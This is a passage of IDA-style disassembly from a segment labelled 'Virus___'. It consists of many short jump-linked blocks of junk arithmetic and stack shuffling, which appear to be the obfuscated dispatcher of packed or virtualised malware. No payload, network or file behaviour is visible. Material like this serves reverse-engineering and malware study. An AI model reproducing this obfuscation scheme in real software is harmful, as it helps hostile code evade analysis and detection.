; ---------------------------------------------------------------------------


loc_56339A:				; CODE XREF: Virus___:005602BCj
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, edx
		pop	edx
		jmp	loc_550A8F
; ---------------------------------------------------------------------------


loc_5633AE:				; CODE XREF: Virus___:00561D98j
		push	ecx
		mov	ecx, 47DE1BADh
		and	ecx, 7055654Ah
		sub	ecx, 0CA569B6Ah
		or	ebp, ecx
		pop	ecx
		sub	ebp, 7FFD77DBh
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_558E34
; ---------------------------------------------------------------------------


loc_5633D7:				; CODE XREF: Virus___:00558D07j
		push	eax
		mov	eax, 37B97703h
		inc	eax
		sub	eax, 0FFFFFFFFh
		inc	eax
		add	eax, 4EEF54Bh
		add	edi, eax
		jmp	loc_550201
; ---------------------------------------------------------------------------


loc_5633F0:				; CODE XREF: Virus___:005579FBj
		push	4D1Eh
		mov	[esp], edi
		jmp	loc_5601BA
; ---------------------------------------------------------------------------


loc_5633FD:				; CODE XREF: Virus___:005647F4j
		mov	esp, [esp]
		mov	ax, [esp]
		push	2198h
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_556A16
; ---------------------------------------------------------------------------


loc_563413:				; CODE XREF: Virus___:00555800j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	ecx
		push	ebx
		mov	ebx, 484462A3h
		push	edx
		mov	edx, 59587C8Fh
		add	edx, 5E6320D0h
		jmp	loc_557C04
; ---------------------------------------------------------------------------


loc_563444:				; CODE XREF: Virus___:005576E7j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55DD04
; ---------------------------------------------------------------------------


loc_563456:				; CODE XREF: Virus___:005517C1j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56345F:				; CODE XREF: Virus___:00561734j
		pop	esp
		jmp	loc_550430
; ---------------------------------------------------------------------------


loc_563465:				; CODE XREF: Virus___:0055871Ej
		mov	[esp], esp
		push	eax
		jmp	loc_55E397
; ---------------------------------------------------------------------------


loc_56346E:				; CODE XREF: Virus___:00550064j
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_560E61
; ---------------------------------------------------------------------------


loc_563479:				; CODE XREF: Virus___:00553B5Bj
		sub	edi, 59E446ACh
		shl	edi, 1
		jmp	loc_55209E
; ---------------------------------------------------------------------------


loc_563486:				; CODE XREF: Virus___:0055B902j
		xor	ecx, 785B5E9Ch
		xor	ecx, 2BF6C87h
		xor	ecx, 1E530041h
		add	ecx, 7EB1477Eh
		mov	esi, ecx
		pop	ecx
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		or	edi, 683D70C0h
		add	edi, 6DF92377h
		xor	edi, 1A2E1D6Bh
		jmp	loc_550F71
; ---------------------------------------------------------------------------


loc_5634C3:				; CODE XREF: Virus___:00558A14j
		push	edx
		not	dword ptr [esp]
		pop	edx
		shr	edx, 2
		push	ebx
		mov	ebx, 1BAB185Eh
		and	ebx, 505C7617h
		jmp	loc_558723
; ---------------------------------------------------------------------------


loc_5634DC:				; CODE XREF: Virus___:005593CCj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_55CE70
; ---------------------------------------------------------------------------


loc_5634E9:				; CODE XREF: Virus___:0055B1D7j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5634EE:				; CODE XREF: Virus___:00554CDAj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	ecx
		push	27CBh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56350A:				; CODE XREF: Virus___:00556C23j
		xchg	ebx, [esp]
		jmp	loc_55DB3B
; ---------------------------------------------------------------------------


loc_563512:				; CODE XREF: Virus___:00556B70j
		dec	edx
		jmp	loc_5563B5
; ---------------------------------------------------------------------------


loc_563518:				; CODE XREF: Virus___:00562972j
		push	edi
		jmp	loc_555A74
; ---------------------------------------------------------------------------


loc_56351E:				; CODE XREF: Virus___:00558EBFj
		pop	si
		add	ax, 1F1h
		sub	ax, cx
		push	ebx
		mov	bx, 28F5h
		inc	bx
		jmp	loc_555D63
; ---------------------------------------------------------------------------


loc_563533:				; CODE XREF: Virus___:00552F94j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55890D
; ---------------------------------------------------------------------------


loc_56353C:				; CODE XREF: Virus___:00555143j
		add	esp, 4
		sub	bl, 0B3h
		add	bl, al
		jmp	loc_55A904
; ---------------------------------------------------------------------------


loc_56354C:				; CODE XREF: Virus___:00552E95j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7EFF33DEh
		or	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 24DA35ADh
		xor	ecx, edi
		jmp	loc_556BF5
; ---------------------------------------------------------------------------


loc_563570:				; CODE XREF: Virus___:00552C15j
		sub	edx, 70342E53h
		push	ecx
		mov	ecx, 59F82A21h
		jmp	loc_56201D
; ---------------------------------------------------------------------------


loc_563581:				; CODE XREF: Virus___:0055F768j
		push	2034h
		mov	[esp], ebp
		jmp	loc_562A0B
; ---------------------------------------------------------------------------


loc_56358E:				; CODE XREF: Virus___:00560E5Cj
		or	edx, edi
		pop	edi
		jmp	loc_55B885
; ---------------------------------------------------------------------------


loc_563596:				; CODE XREF: Virus___:00562351j
		push	6558h
		mov	[esp], ebp
		mov	ebp, 6ED57244h
		add	ebp, 0ED2BFBFAh
		add	edi, ebp
		pop	ebp
		pop	eax
		jmp	loc_553E2F
; ---------------------------------------------------------------------------


loc_5635B2:				; CODE XREF: Virus___:00559B0Bj
		btr	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5635BD:				; CODE XREF: Virus___:0055151Bj
		push	esi
		mov	esi, 0C481399h
		xor	esi, 2BE74A54h
		add	edx, esi
		pop	esi
		jmp	loc_564047
; ---------------------------------------------------------------------------


loc_5635D1:				; CODE XREF: Virus___:00551C6Aj
		add	edi, 0FA0830DDh
		jmp	loc_55C908
; ---------------------------------------------------------------------------


loc_5635DC:				; CODE XREF: Virus___:00554D5Dj
		push	ebp
		mov	ebp, 4CF62A11h
		push	edx
		mov	edx, 59B5052Bh
		shl	edx, 8
		push	0
		sub	[esp], edx
		pop	edx
		shl	edx, 2
		neg	edx
		xor	edx, 0BB14C7C9h
		sub	eax, edx
		pop	edx
		sub	eax, ebp
		add	eax, 6F006BC9h
		pop	ebp
		sub	esp, 4
		jmp	loc_558D23
; ---------------------------------------------------------------------------


loc_563612:				; CODE XREF: Virus___:0055224Bj
		inc	dh
		push	ax
		mov	ah, dh
		not	ah
		push	ebx
		jmp	loc_55084B
; ---------------------------------------------------------------------------


loc_563620:				; CODE XREF: Virus___:0055D867j
		mov	dl, bh
		pop	ebx
		mov	bh, dl
		pop	edx
		pop	eax
		jmp	loc_5617A6
; ---------------------------------------------------------------------------


loc_56362C:				; CODE XREF: Virus___:0055F123j
		push	eax
		mov	eax, 40AB3CFEh
		or	ebp, eax
		jmp	loc_5608DB
; ---------------------------------------------------------------------------


loc_563639:				; CODE XREF: Virus___:00561678j
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562A93
; ---------------------------------------------------------------------------


loc_563649:				; CODE XREF: Virus___:00560596j
		pop	ebx
		jmp	loc_555546
; ---------------------------------------------------------------------------


loc_56364F:				; CODE XREF: Virus___:00561982j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_563660:				; CODE XREF: Virus___:00550363j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55998C
; ---------------------------------------------------------------------------


loc_56366F:				; CODE XREF: Virus___:00559816j
		xor	esi, 307E5C84h
		inc	esi
		shl	esi, 3
		add	esi, 0EBDD38A3h
		jmp	loc_564BD7
; ---------------------------------------------------------------------------


loc_563684:				; CODE XREF: Virus___:0055FAC0j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5548B3
; ---------------------------------------------------------------------------


loc_563692:				; CODE XREF: Virus___:00560D4Ej
		mov	edi, [esp]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		sub	edx, ebx
		jmp	loc_55F45E
; ---------------------------------------------------------------------------


loc_5636A5:				; CODE XREF: Virus___:0055FAA4j
		xor	bl, ah
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 2
		jmp	loc_551B4D
; ---------------------------------------------------------------------------


loc_5636B8:				; CODE XREF: Virus___:00550BABj
		mov	[esp], ebp
		mov	ebp, 32881A5Ch
		mov	edi, 0CC118CBh
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	edi, 7
		jmp	loc_5541E4
; ---------------------------------------------------------------------------


loc_5636D5:				; CODE XREF: Virus___:0055166Ej
		shr	ebx, 1
		jmp	loc_55D147
; ---------------------------------------------------------------------------


loc_5636DC:				; CODE XREF: Virus___:00557C6Dj
		xor	[esp+4], edi
		mov	edi, [esp]
		push	77DBh
		mov	[esp], ecx
		push	23A1h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebx
		mov	ebx, 23E304FEh
		or	ebx, 76CA1313h
		add	ebx, 68121EC5h
		or	ebx, 15385F33h
		inc	ebx
		jmp	loc_551989
; ---------------------------------------------------------------------------


loc_56371D:				; CODE XREF: Virus___:005648B8j
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		or	ecx, 73221388h
		not	ecx
		inc	ecx
		jmp	loc_55EB15
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56373E:				; CODE XREF: Virus___:00553D40j
		pop	edx
		add	ebx, 1
		xor	ebx, 16441A5h
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55F6B5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 3DDE44D7h
		or	ebx, 5C6161A4h
		push	edx
		mov	edx, 271B31DBh
		xor	edx, 4F851165h
		sub	ebx, edx
		pop	edx
		mov	eax, ebx
		pop	ebx
		neg	eax
		or	eax, 1F817CACh
		or	eax, 40C43319h
		add	eax, 31631042h
		jmp	loc_55F18E
; ---------------------------------------------------------------------------


loc_563793:				; CODE XREF: Virus___:00561585j
		add	edx, 0D389E1D5h
		and	eax, edx
		pop	edx
		sub	eax, 1702E0h
		mov	edx, eax
		pop	eax
		jmp	loc_55B7C4
; ---------------------------------------------------------------------------


loc_5637A9:				; CODE XREF: Virus___:005522A1j
		push	eax
		mov	ah, bh
		jmp	loc_555A9C
; ---------------------------------------------------------------------------


loc_5637B1:				; CODE XREF: Virus___:00560579j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_558EAB
; ---------------------------------------------------------------------------


loc_5637BE:				; CODE XREF: Virus___:00560841j
		push	edi
		mov	edi, esp
		jmp	loc_5620CE
; ---------------------------------------------------------------------------


loc_5637C6:				; CODE XREF: Virus___:005510F2j
		add	edi, 4
		jmp	loc_55E9CC
; ---------------------------------------------------------------------------


loc_5637D1:				; CODE XREF: Virus___:0055CDB0j
		push	2A09h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		pop	eax
		pop	ecx
		xchg	esi, ecx
		jmp	loc_55F79A
; ---------------------------------------------------------------------------


loc_5637F4:				; CODE XREF: Virus___:005625C6j
		pop	esi
		push	ebx
		mov	ebx, 59802FD1h
		shl	ebx, 8
		jmp	loc_55B907
; ---------------------------------------------------------------------------


loc_563803:				; CODE XREF: Virus___:0055ACFCj
		mov	edi, [esp]
		jmp	loc_5617BA
; ---------------------------------------------------------------------------


loc_56380B:				; CODE XREF: Virus___:0055B7BFj
		pop	ecx
		push	ecx
		jmp	loc_555767
; ---------------------------------------------------------------------------


loc_563812:				; CODE XREF: Virus___:005646B7j
		push	47EAh
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	edx
		jmp	loc_557852
; ---------------------------------------------------------------------------


loc_56382B:				; CODE XREF: Virus___:00561783j
		pop	edi
		jmp	loc_55C455
; ---------------------------------------------------------------------------


loc_563831:				; CODE XREF: Virus___:0055D765j
		push	esi
		mov	esi, 4
		sub	eax, esi
		jmp	loc_557429
; ---------------------------------------------------------------------------


loc_56383E:				; CODE XREF: Virus___:00550653j
		mov	esi, 4
		push	esi
		jmp	loc_54FE0D
; ---------------------------------------------------------------------------


loc_563849:				; CODE XREF: Virus___:005509B8j
		sub	bl, dl
		pop	edx
		sub	bl, 0A0h
		sub	bl, al
		add	bl, 0A0h
		push	ax
		mov	ah, 0E4h
		sub	bl, 74h
		jmp	loc_555735
; ---------------------------------------------------------------------------


loc_563860:				; CODE XREF: Virus___:0055DC9Cj
		push	esi
		push	416923C7h
		mov	esi, [esp]
		push	esi
		jmp	loc_55574E
; ---------------------------------------------------------------------------


loc_56386F:				; CODE XREF: Virus___:005547CEj
		mov	ecx, 4
		sub	esi, 481000FCh
		add	esi, ecx
		add	esi, 481000FCh
		jmp	loc_55A7C7
; ---------------------------------------------------------------------------


loc_563887:				; CODE XREF: Virus___:00563341j
		sub	al, dl
		jmp	loc_554BD5
; ---------------------------------------------------------------------------


loc_56388E:				; CODE XREF: Virus___:00562940j
		mov	esi, 67797F12h
		jmp	loc_5512DA
; ---------------------------------------------------------------------------


loc_563898:				; CODE XREF: Virus___:005531D1j
		add	esi, 0ACF55893h
		add	edx, esi
		pop	esi
		add	edx, ebp
		sub	edx, 56FC58EAh
		jmp	loc_555B00
; ---------------------------------------------------------------------------


loc_5638AE:				; CODE XREF: Virus___:0054F960j
		and	eax, 396E7A41h
		inc	eax
		or	eax, 2535E5Eh
		xor	eax, 2EBE75C6h
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_551F89
; ---------------------------------------------------------------------------


loc_5638CC:				; CODE XREF: Virus___:00554E75j
		mov	esp, [esp]
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55338D
; ---------------------------------------------------------------------------


loc_5638E5:				; CODE XREF: Virus___:0055CDDCj
		push	eax
		jmp	loc_55052A
; ---------------------------------------------------------------------------


loc_5638EB:				; CODE XREF: Virus___:005560EBj
		pop	ebp
		push	edi
		push	esp
		pop	edi
		jmp	loc_54F88A
; ---------------------------------------------------------------------------


loc_5638F4:				; CODE XREF: Virus___:00551433j
		mov	[esp], edx
		mov	dl, 25h
		inc	dl
		jmp	loc_556393
; ---------------------------------------------------------------------------


loc_563900:				; CODE XREF: Virus___:00556F58j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55AE31
; ---------------------------------------------------------------------------


loc_56390C:				; CODE XREF: Virus___:0055B08Dj
		add	eax, edi
		jmp	loc_55A587
; ---------------------------------------------------------------------------


loc_563913:				; CODE XREF: Virus___:0055CA80j
		sub	ebp, 16940D56h
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_550965
; ---------------------------------------------------------------------------


loc_563930:				; CODE XREF: Virus___:00561D03j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_561B6C
; ---------------------------------------------------------------------------


loc_563946:				; CODE XREF: Virus___:0055FB12j
		xor	ebp, 22D4723Ch
		shr	ebp, 1
		shr	ebp, 2
		sub	ebp, 300C62A6h
		add	ebp, 27BF1A02h
		mov	esi, ebp
		pop	ebp
		push	esi
		xor	dword ptr [esp], 6A571206h
		jmp	loc_55D708
; ---------------------------------------------------------------------------


loc_56396D:				; CODE XREF: Virus___:00552EAEj
		sub	ebp, ecx
		pop	ecx
		jmp	loc_55DCDF
; ---------------------------------------------------------------------------


loc_563975:				; CODE XREF: Virus___:0055A95Bj
		inc	edx
		jmp	loc_559AE1
; ---------------------------------------------------------------------------


loc_56397B:				; CODE XREF: Virus___:00552E0Cj
		sub	esp, 4
		jmp	loc_55F95D
; ---------------------------------------------------------------------------


loc_563986:				; CODE XREF: Virus___:0055539Ej
		push	ecx
		mov	ecx, 56E01950h
		add	esi, ecx
		pop	ecx
		jmp	loc_551B7D
; ---------------------------------------------------------------------------


loc_563994:				; CODE XREF: Virus___:0055F1B4j
		pop	edi
		push	ebp
		mov	ebp, 41FC2DC6h
		add	eax, ebp
		pop	ebp
		sub	eax, edx
		jmp	loc_553466
; ---------------------------------------------------------------------------


loc_5639A5:				; CODE XREF: Virus___:00562BA1j
		pop	ecx
		sub	edx, 6081CD63h
		sub	ebx, edx
		pop	edx
		sub	ebx, esi
		add	ebx, 1BE7AA9h
		pop	esi
		jmp	loc_5502FA
; ---------------------------------------------------------------------------


loc_5639BD:				; CODE XREF: Virus___:0055CB9Aj
		pop	edi
		mov	edx, ecx
		pop	ecx
		sub	eax, edx
		jmp	loc_557ADF
; ---------------------------------------------------------------------------


loc_5639C8:				; CODE XREF: Virus___:00554545j
		push	edx
		mov	edx, esp
		jmp	loc_562BE3
; ---------------------------------------------------------------------------


loc_5639D0:				; CODE XREF: Virus___:0056430Ej
		dec	al
		xor	al, 0E3h
		neg	al
		inc	al
		sub	al, 0B9h
		sub	cl, al
		pop	eax
		push	2ADBh
		jmp	loc_55A0E2
; ---------------------------------------------------------------------------


loc_5639E7:				; CODE XREF: Virus___:00562B2Bj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55B725
; ---------------------------------------------------------------------------


loc_5639FE:				; CODE XREF: Virus___:0055D43Bj
		sub	ebp, 50371BB6h
		xor	ebp, 0F8A6F945h
		jmp	loc_55CB1F
; ---------------------------------------------------------------------------


loc_563A0F:				; CODE XREF: Virus___:0055A8DFj
		sub	esi, 5DFE83D9h
		sub	eax, 1CC81934h
		add	eax, esi
		add	eax, 1CC81934h
		pop	esi
		xor	edx, eax
		pop	eax
		jmp	loc_55FF8F
; ---------------------------------------------------------------------------


loc_563A2A:				; CODE XREF: Virus___:00555A40j
		sub	esi, ebp
		jmp	loc_550048
; ---------------------------------------------------------------------------


loc_563A31:				; CODE XREF: Virus___:005630ABj
		pop	esp
		jmp	loc_55D86C
; ---------------------------------------------------------------------------


loc_563A37:				; CODE XREF: Virus___:00550A61j
		add	esi, eax
		jmp	loc_55C1BD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	3A54h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		mov	eax, 203377B8h
		shl	eax, 7
		neg	eax
		jmp	loc_558E06
; ---------------------------------------------------------------------------


loc_563A68:				; CODE XREF: Virus___:0055BA57j
		inc	eax
		shr	eax, 4
		add	eax, 4EDCCE29h
		push	ebp
		jmp	loc_55E181
; ---------------------------------------------------------------------------


loc_563A77:				; CODE XREF: Virus___:0055A469j
		mov	eax, 29E9214Ch
		dec	eax
		jmp	loc_550A48
; ---------------------------------------------------------------------------


loc_563A82:				; CODE XREF: Virus___:00552D24j
		pop	eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55DF82
; ---------------------------------------------------------------------------


loc_563A8C:				; CODE XREF: Virus___:0055527Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55A439
; ---------------------------------------------------------------------------


loc_563AAD:				; CODE XREF: Virus___:0055DA59j
		add	esp, 4
		add	ebx, 1
		push	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55F4A8
; ---------------------------------------------------------------------------


loc_563AC2:				; CODE XREF: Virus___:00563230j
		sub	esi, 2C247B6Bh
		mov	ebx, esi
		pop	esi
		add	ebx, edx
		add	[ebx], ecx
		pop	ebx
		pop	edx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 36552560h
		jmp	loc_562FC5
; ---------------------------------------------------------------------------


loc_563AE2:				; CODE XREF: Virus___:00559492j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 124A019Ah
		jmp	loc_56459D
; ---------------------------------------------------------------------------


loc_563AF6:				; CODE XREF: Virus___:00553E43j
		pop	ebx
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554C79
; ---------------------------------------------------------------------------


loc_563B04:				; CODE XREF: Virus___:00557E86j
		mov	[esp], ebp
		push	5C20h
		jmp	loc_55F14E
; ---------------------------------------------------------------------------


loc_563B11:				; CODE XREF: Virus___:0055F813j
		add	ebp, 0E0DDD4DDh
		add	edi, 791B458Ah
		add	edi, ebp
		sub	edi, 791B458Ah
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 8200A84Bh
		sub	esp, 4
		mov	[esp], ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 3509134Dh
		add	ebx, edi
		sub	ebx, 3509134Dh
		pop	edi
		add	edx, 0A3E7381h
		add	edx, ebx
		jmp	loc_55DC25
; ---------------------------------------------------------------------------


loc_563B65:				; CODE XREF: Virus___:00551376j
		push	6EC9594Ch
		pop	esi
		add	esi, 0F0D7CA7h
		shr	esi, 2
		jmp	loc_551024
; ---------------------------------------------------------------------------


loc_563B79:				; CODE XREF: Virus___:0055D0EDj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		mov	esi, 14BD6746h
		sub	esi, 35DD0901h
		jmp	loc_558886
; ---------------------------------------------------------------------------


loc_563B9B:				; CODE XREF: Virus___:00559668j
		mov	ebp, 4A9E2096h
		jmp	loc_54F8C7
; ---------------------------------------------------------------------------


loc_563BA5:				; CODE XREF: Virus___:0055AFB2j
		add	edi, 7CD4182Ah
		mov	ebx, [esp]
		jmp	loc_562C31
; ---------------------------------------------------------------------------


loc_563BB3:				; CODE XREF: Virus___:0055F585j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_55DA02
; ---------------------------------------------------------------------------


loc_563BC7:				; CODE XREF: Virus___:0055B515j
		pop	esi
		jmp	loc_556192
; ---------------------------------------------------------------------------


loc_563BCD:				; CODE XREF: Virus___:0055D101j
		pop	ebx
		mov	cx, [esp]
		add	esp, 2
		add	cl, 5Dh
		sub	cl, dh
		jmp	loc_55EBAF
; ---------------------------------------------------------------------------


loc_563BE2:				; CODE XREF: Virus___:00550043j
		xor	esi, 44902ABAh
		add	esi, 84C09A15h
		add	ebp, 0C900EE5h
		add	ebp, esi
		sub	ebp, 0C900EE5h
		pop	esi
		push	eax
		jmp	loc_555DB0
; ---------------------------------------------------------------------------


loc_563C03:				; CODE XREF: Virus___:00559974j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 659B435Fh
		jmp	loc_5505CE
; ---------------------------------------------------------------------------


loc_563C11:				; CODE XREF: Virus___:00563086j
		xor	edx, edi
		pop	edi
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 2E137315h
		inc	ebp
		sub	ebp, 2A2726E5h
		shl	ebp, 4
		xor	ebp, 5CBE9970h
		inc	ebp
		push	eax
		mov	eax, 33E33C07h
		xor	ebp, eax
		pop	eax
		add	ebx, 4C687C7Ah
		add	ebx, 4FD16971h
		add	ebx, ebp
		jmp	loc_559C7F
; ---------------------------------------------------------------------------


loc_563C4A:				; CODE XREF: Virus___:0055692Fj
		push	ebp
		mov	ebp, 513C465Bh
		xor	ecx, ebp
		jmp	loc_553F3D
; ---------------------------------------------------------------------------


loc_563C57:				; CODE XREF: Virus___:00563266j
		pop	ebp
		jmp	loc_55C8C8
; ---------------------------------------------------------------------------


loc_563C5D:				; CODE XREF: Virus___:0055BC5Fj
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_561090
; ---------------------------------------------------------------------------


loc_563C6F:				; CODE XREF: Virus___:0055F6BEj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2
		push	4440h
		mov	[esp], ebp
		mov	ebp, 0FDE4088h
		xor	ebp, 3F49198Ch
		add	ebp, 3EDBFF5Fh
		push	edi
		mov	edi, 11D570D2h
		or	ebp, edi
		pop	edi
		push	esi
		push	5D5274B4h
		pop	esi
		shr	esi, 2
		neg	esi
		sub	esi, 0A46FF52Ah
		sub	ebp, esi
		pop	esi
		jmp	loc_552CDF
; ---------------------------------------------------------------------------


loc_563CC3:				; CODE XREF: Virus___:00555B1Aj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55D58F
; ---------------------------------------------------------------------------


loc_563CD7:				; CODE XREF: Virus___:0055F93Dj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55D8B1
; ---------------------------------------------------------------------------


loc_563CE8:				; CODE XREF: Virus___:00555D5Ej
		mov	edx, 2
		jmp	loc_55C6CB
; ---------------------------------------------------------------------------


loc_563CF2:				; CODE XREF: Virus___:005642A4j
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_553DEA
; ---------------------------------------------------------------------------


loc_563CFC:				; CODE XREF: Virus___:0055563Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 0FFFFFFFFh
		push	edx
		jmp	loc_555188
; ---------------------------------------------------------------------------


loc_563D0F:				; CODE XREF: Virus___:0055DDD8j
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_561B12
; ---------------------------------------------------------------------------


loc_563D1A:				; CODE XREF: Virus___:005596A6j
		mov	[esp], edx
		push	eax
		push	ebp
		jmp	loc_555AE8
; ---------------------------------------------------------------------------


loc_563D24:				; CODE XREF: Virus___:00553559j
		mov	eax, edi
		pop	edi
		jmp	loc_559EC7
; ---------------------------------------------------------------------------


loc_563D2C:				; CODE XREF: Virus___:0055FB2Aj
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	65B6h
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55D762
; ---------------------------------------------------------------------------


loc_563D70:				; CODE XREF: Virus___:005606BBj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_556549
; ---------------------------------------------------------------------------


loc_563D7D:				; CODE XREF: Virus___:00562AACj
		mov	ebx, [esp]
		jmp	loc_558DA5
; ---------------------------------------------------------------------------


loc_563D85:				; CODE XREF: Virus___:00561F17j
		pop	edx
		jmp	loc_55C839
; ---------------------------------------------------------------------------


loc_563D8B:				; CODE XREF: Virus___:00553CB2j
		xor	ebx, 482651h
		sub	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_560ED3
; ---------------------------------------------------------------------------


loc_563DA4:				; CODE XREF: Virus___:00552BD9j
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55666E
; ---------------------------------------------------------------------------


loc_563DAF:				; CODE XREF: Virus___:005511D3j
		sub	eax, 1BFF64A9h
		sub	esi, 3CDD74F1h
		add	esi, 3B4644Ch
		add	esi, eax
		sub	esi, 3B4644Ch
		jmp	loc_55556D
; ---------------------------------------------------------------------------


loc_563DCD:				; CODE XREF: Virus___:005535B7j
		pop	ebp
		add	ecx, 4
		jmp	loc_55C129
; ---------------------------------------------------------------------------


loc_563DD9:				; CODE XREF: Virus___:00564957j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55C62D
; ---------------------------------------------------------------------------


loc_563DE9:				; CODE XREF: Virus___:00552703j
		shl	eax, 6
		sub	eax, 0CDF6F92h
		xor	eax, 0E2E9D62Ah
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 44D92ED7h
		add	esi, edi
		sub	esi, 44D92ED7h
		pop	edi
		push	edi
		mov	edi, 4550520Ch
		shr	edi, 2
		shl	edi, 1
		push	ebx
		mov	ebx, 37E61A87h
		not	ebx
		xor	ebx, 6CA73A39h
		xor	ebx, 0AF10C152h
		and	edi, ebx
		jmp	loc_55422C
; ---------------------------------------------------------------------------


loc_563E33:				; CODE XREF: Virus___:00559CBBj
		pop	eax
		and	ch, 33h
		neg	ch
		add	ch, 0FFh
		not	ch
		or	ch, 0EEh
		jmp	loc_555D81
; ---------------------------------------------------------------------------


loc_563E46:				; CODE XREF: Virus___:00564969j
		pop	esi
		xor	esi, 7D911472h
		pop	edx
		neg	esi
		sub	esi, 0C397948h
		or	esi, 116629h
		shl	esi, 6
		jmp	loc_56158A
; ---------------------------------------------------------------------------


loc_563E64:				; CODE XREF: Virus___:0055912Ej
		pop	ebp
		jmp	loc_555C02
